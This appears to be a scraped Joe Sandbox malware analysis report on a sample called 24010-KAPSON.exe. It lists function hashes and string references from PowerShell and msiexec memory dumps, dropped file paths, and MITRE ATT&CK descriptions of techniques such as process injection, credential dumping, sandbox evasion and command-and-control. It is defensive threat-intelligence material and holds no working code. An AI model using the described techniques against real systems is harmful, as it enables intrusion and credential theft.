Download Yara Rule

Strings

$cq, xrefs: 07AC5807
$cq, xrefs: 07AC586C
4'cq, xrefs: 07AC58CA
$cq, xrefs: 07AC5860
4'cq, xrefs: 07AC58BE

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq$$cq
API String ID: 0-838516036
Opcode ID: 3b24cceabe4c888e3263514998187f1360bd05a1fedc27f03cc20e8d48b81b6c
Instruction ID: 09aa1271a0f44076318bf6ec1d0ce826d3cf85a95c860f5620a1d363a9c83560
Opcode Fuzzy Hash: 3b24cceabe4c888e3263514998187f1360bd05a1fedc27f03cc20e8d48b81b6c
Instruction Fuzzy Hash: 9141F9B5E00206EFCB15CF29C94026AB7B1EFC5221F7480AEF8248B251DB31E961CB51

Function 07AC0554 Relevance: 6.4, Strings: 5, Instructions: 134COMMON

Download Yara Rule

Strings

$cq, xrefs: 07AC0609
$cq, xrefs: 07AC05FD
4'cq, xrefs: 07AC0632
$cq, xrefs: 07AC05C4
4'cq, xrefs: 07AC0626

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq$$cq
API String ID: 0-838516036
Opcode ID: 8cdf6e1f5d9b78f86c36aaa3ab2a4c7220fc78eed1d04431191ffabdb7d1aba0
Instruction ID: 5c0df8cc702eaadaa1b2e80ed8f3bff23a0fcce65249ac2816f4cabdf568b7e4
Opcode Fuzzy Hash: 8cdf6e1f5d9b78f86c36aaa3ab2a4c7220fc78eed1d04431191ffabdb7d1aba0
Instruction Fuzzy Hash: 15414AF171020AEBDF258F249D116BB7BA2AFC1210F54806EDA218F292DF75C942C763

Function 07ACF736 Relevance: 6.4, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

XRhq, xrefs: 07ACF799
tPcq, xrefs: 07ACF83C
84wl, xrefs: 07ACF7E7
$cq, xrefs: 07ACF7B5
XRhq, xrefs: 07ACF8CD

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 84wl$XRhq$XRhq$tPcq$$cq
API String ID: 0-1316359499
Opcode ID: c5321977a4d3d46a483ee72d611f2bee6336e69b6bdf05c9e1b0518d82ee345e
Instruction ID: 48c91238d9aa1e84ec900468b70c9aa9a3e6b363898c8eb36262c27d45f6f635
Opcode Fuzzy Hash: c5321977a4d3d46a483ee72d611f2bee6336e69b6bdf05c9e1b0518d82ee345e
Instruction Fuzzy Hash: C04160B2A00206EFDB24CF59C645BA9B7F3AB89711F65C09EE4247B295C731DD40CB50

Function 07ACE7BD Relevance: 6.4, Strings: 5, Instructions: 115COMMON

Download Yara Rule

Strings

$cq, xrefs: 07ACE84D
4'cq, xrefs: 07ACE885
$cq, xrefs: 07ACE813
$cq, xrefs: 07ACE859
4'cq, xrefs: 07ACE879

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq$$cq
API String ID: 0-838516036
Opcode ID: b6ff96df1c2b2081882ce02343ca25639da28e0e100f2f7933b240a36bc569b9
Instruction ID: 320d4c94a690c94002e5d1b38c9494da33019cf3d1886742d2cd26504cd96c45
Opcode Fuzzy Hash: b6ff96df1c2b2081882ce02343ca25639da28e0e100f2f7933b240a36bc569b9
Instruction Fuzzy Hash: 923124F6B0C297EFCF25CB699551277B7E2AFC6112B2880BED8318B186DA31C441C752

Function 07ACAAE8 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

$cq, xrefs: 07ACAB61
tPcq, xrefs: 07ACABE3
$cq, xrefs: 07ACAB45
$cq, xrefs: 07ACAC5E
4'cq, xrefs: 07ACAC93

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$tPcq$$cq$$cq$$cq
API String ID: 0-481192504
Opcode ID: 9e86effdd520d234b144aec10d3fd43cecf08a44b864b5bb2f15d5ba04921d49
Instruction ID: d3a0b7771c44c6b6dfb99fef41c28cf871310b3d389e4f654189a84d2e2f9b79
Opcode Fuzzy Hash: 9e86effdd520d234b144aec10d3fd43cecf08a44b864b5bb2f15d5ba04921d49
Instruction Fuzzy Hash: E6318EB1A0520EFFDB25CF44C541BB6B7B2AB85321F18C16ED8259B291C731DD80CB91

Function 07ACDD30 Relevance: 5.5, Strings: 4, Instructions: 472COMMON

Download Yara Rule

Strings

(ocq, xrefs: 07ACE169
(ocq, xrefs: 07ACDE26
(ocq, xrefs: 07ACDE16
(ocq, xrefs: 07ACE159

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: (ocq$(ocq$(ocq$(ocq
API String ID: 0-2003149739
Opcode ID: 47144b9cbe27b796153689fe55caf74bd657700b8a02fdb689667826dc2088c0
Instruction ID: 992ba6766bf60b2f7639e133d38abb5ed799a525a5bb3317d49ebb52b2448530
Opcode Fuzzy Hash: 47144b9cbe27b796153689fe55caf74bd657700b8a02fdb689667826dc2088c0
Instruction Fuzzy Hash: 64F1F4B1B08306EFDB15DF68D8447AABBA2EFC1310F1480BEE5258B295DB31D951C791

Function 07ACB9B0 Relevance: 5.4, Strings: 4, Instructions: 398COMMON

Download Yara Rule

Strings

-jk, xrefs: 07ACC064
x.jk, xrefs: 07ACC02D
4'cq, xrefs: 07ACBDAD
4'cq, xrefs: 07ACBE51

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$x.jk$-jk
API String ID: 0-4162295831
Opcode ID: 21b2a44160008d7c3cff9b71b9b5478d0afed719b8d3388faa5ac0ae585f8cc8
Instruction ID: 5b9d45a21345a340594265dea66c00fbcbc47d4a420dc53dea27daf7c58d1bca
Opcode Fuzzy Hash: 21b2a44160008d7c3cff9b71b9b5478d0afed719b8d3388faa5ac0ae585f8cc8
Instruction Fuzzy Hash: AD023DB4A00219DFDB24DF24C951B9AB7B2FF89304F1081D9D9196B391CB72AE81CF91

Function 07AC6098 Relevance: 5.3, Strings: 4, Instructions: 274COMMON

Download Yara Rule

Strings

84wl, xrefs: 07AC6173
84wl, xrefs: 07AC617D
tPcq, xrefs: 07AC61D6
tPcq, xrefs: 07AC61CA

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 84wl$84wl$tPcq$tPcq
API String ID: 0-33558327
Opcode ID: f58f6f7325c8197182382904f3a0ad4ee74c5e84d093ae5f9cc87855c6cc2dd3
Instruction ID: ac7dbb1cf5011f75f555e4ff8660c86ba1267c5eaef3f820f02ab1956e9ed617
Opcode Fuzzy Hash: f58f6f7325c8197182382904f3a0ad4ee74c5e84d093ae5f9cc87855c6cc2dd3
Instruction Fuzzy Hash: 929128B1B00206AFCB24DF69885177BBBE6AFC5311F18C46ED9259B392DB31D841C7A1

Function 07AC8780 Relevance: 5.2, Strings: 4, Instructions: 192COMMON

Download Yara Rule

Strings

(fyl, xrefs: 07AC8877
(fyl, xrefs: 07AC88F5
(fyl, xrefs: 07AC8881
(fyl, xrefs: 07AC88FF

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: (fyl$(fyl$(fyl$(fyl
API String ID: 0-4278018943
Opcode ID: 6dae58f57052b5de3ef1a2dfa2c869eaf96a045825de7baadf6b1a140fe88644
Instruction ID: a34def418d040751083fee9e5a5de75082446aa2c3cfcb5e8810c22953838fbe
Opcode Fuzzy Hash: 6dae58f57052b5de3ef1a2dfa2c869eaf96a045825de7baadf6b1a140fe88644
Instruction Fuzzy Hash: 61718DB0E00105EFDB14CF98C581AAABBB2BFC9314F14816DD925AB755CB35ED41CB92

Function 07AC9E84 Relevance: 5.1, Strings: 4, Instructions: 105COMMON

Download Yara Rule

Strings

,Syl, xrefs: 07AC9FB4
d5ik, xrefs: 07AC9FA6
4'cq, xrefs: 07AC9FD5
xSyl, xrefs: 07AC9EF6

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: ,Syl$4'cq$d5ik$xSyl
API String ID: 0-1608647413
Opcode ID: f14b34559d09bda9dee01a96e5a0c20868ed74184a1febd1ac81db40dc089a08
Instruction ID: 9a9327f85d1cbf1f191324882cd1ca509479da877a5264b008e39d7dc81a391b
Opcode Fuzzy Hash: f14b34559d09bda9dee01a96e5a0c20868ed74184a1febd1ac81db40dc089a08
Instruction Fuzzy Hash: 7A3122F2A11216EFEB24CF289500B6BBBA6ABD5344F04C0AED9248F251C731EA41C7D1

Function 07AC36A0 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$cq, xrefs: 07AC36FC
$cq, xrefs: 07AC3708
$cq, xrefs: 07AC36B2
$cq, xrefs: 07AC36CE

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: $cq$$cq$$cq$$cq
API String ID: 0-2876200767
Opcode ID: a08e7be44a3eeaa4e090d7433ab2ecd0e134b0d886f51093670b115dbaadd287
Instruction ID: 7296a25be4ba6d348e82e7feff475dd6170273448d5548922f8ef3652b2faf3f
Opcode Fuzzy Hash: a08e7be44a3eeaa4e090d7433ab2ecd0e134b0d886f51093670b115dbaadd287
Instruction Fuzzy Hash: 48214CF63102067BEF34DA69A80273776E69BC2715F24C02ED515DB382DD75D4418763

Function 07AC16B0 Relevance: 5.1, Strings: 4, Instructions: 88COMMON

Download Yara Rule

Strings

$cq, xrefs: 07AC1708
$cq, xrefs: 07AC16E2
tPcq, xrefs: 07AC174D
$cq, xrefs: 07AC1714

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: tPcq$$cq$$cq$$cq
API String ID: 0-1673072593
Opcode ID: 7266c1bc4ef1d3bfc7cf5878569559393cf8aa1255111272599c6f6f672a5832
Instruction ID: 1b147b41ef40bd1c240f1344815dee64c24489f579e4c2fbbd76768769903565
Opcode Fuzzy Hash: 7266c1bc4ef1d3bfc7cf5878569559393cf8aa1255111272599c6f6f672a5832
Instruction Fuzzy Hash: D22146F6704309AFD721CF24C841666BBB1AFC5290B2940AED414DB3A3C635CC45CFA1

Function 07ACAEBC Relevance: 5.1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

Strings

$cq, xrefs: 07ACAF73
$cq, xrefs: 07ACAF4B
$cq, xrefs: 07ACAF2F
$cq, xrefs: 07ACAF8F

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: $cq$$cq$$cq$$cq
API String ID: 0-2876200767
Opcode ID: 69eb56fb962a6837b411a2a16cd1b29c55eb2728289cf9024daf2da981a983be
Instruction ID: 3544ae855eb895611a2ac07dceff728f8df00490f6722357e43b3849e7421537
Opcode Fuzzy Hash: 69eb56fb962a6837b411a2a16cd1b29c55eb2728289cf9024daf2da981a983be
Instruction Fuzzy Hash: 8521C1F690130AEFEB25CFA4D5416BABBB9AFC6210F58816FD82587242D631C540C7E2

Function 07AC0308 Relevance: 5.0, Strings: 4, Instructions: 44COMMON

Download Yara Rule

Strings

$cq, xrefs: 07AC035E
4'cq, xrefs: 07AC037F
4'cq, xrefs: 07AC0373
$cq, xrefs: 07AC0352

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq
API String ID: 0-1126079151
Opcode ID: 252dae6e05ace7322d5a37a2586642fe7366b310cfe71a4272d9218745241c58
Instruction ID: d7aec017b420d5f000f27b5fbb24427ba3f4cac929256b30c74c9be84027668b
Opcode Fuzzy Hash: 252dae6e05ace7322d5a37a2586642fe7366b310cfe71a4272d9218745241c58
Instruction Fuzzy Hash: DC0149B1714606DBCB2B971C6C202677BB3BFC1610F6940ABC011DB383CE218D0287E6

Analysis Process: msiexec.exePID: 6204, Parent PID: 6464COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 04BB09CC Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 172
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNEL32 ref: 04BB09D5

Strings

n, xrefs: 04BB09EA

Memory Dump Source

Source File: 00000005.00000002.2573362830.0000000004BA6000.00000040.00000400.00020000.00000000.sdmp, Offset: 04BA6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ba6000_msiexec.jbxd

Similarity

API ID: TerminateThread
String ID: n
API String ID: 1852365436-2587601909
Opcode ID: c10cef133e02603441978249aa57c0bb5cc139caee1ffc9cafec27771e4f8be4
Instruction ID: 5d7f44a60a834a646f72f76a7cd9f6bfef287a8fd7dc34a7165837dbf37a06b8
Opcode Fuzzy Hash: c10cef133e02603441978249aa57c0bb5cc139caee1ffc9cafec27771e4f8be4
Instruction Fuzzy Hash: F351CB756047018FEB28AE35CD683FA77E2AF61390F84429EDCD24B1D5DB748485CB82

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 24010-KAPSON.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\562160962232090538429.tmp

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-console-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-datetime-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-debug-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-errorhandling-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l2-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-handle-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-heap-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-interlocked-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-libraryloader-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-localization-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-memory-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-namedpipe-l1-1-0.dll

Windows Analysis Report
24010-KAPSON.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre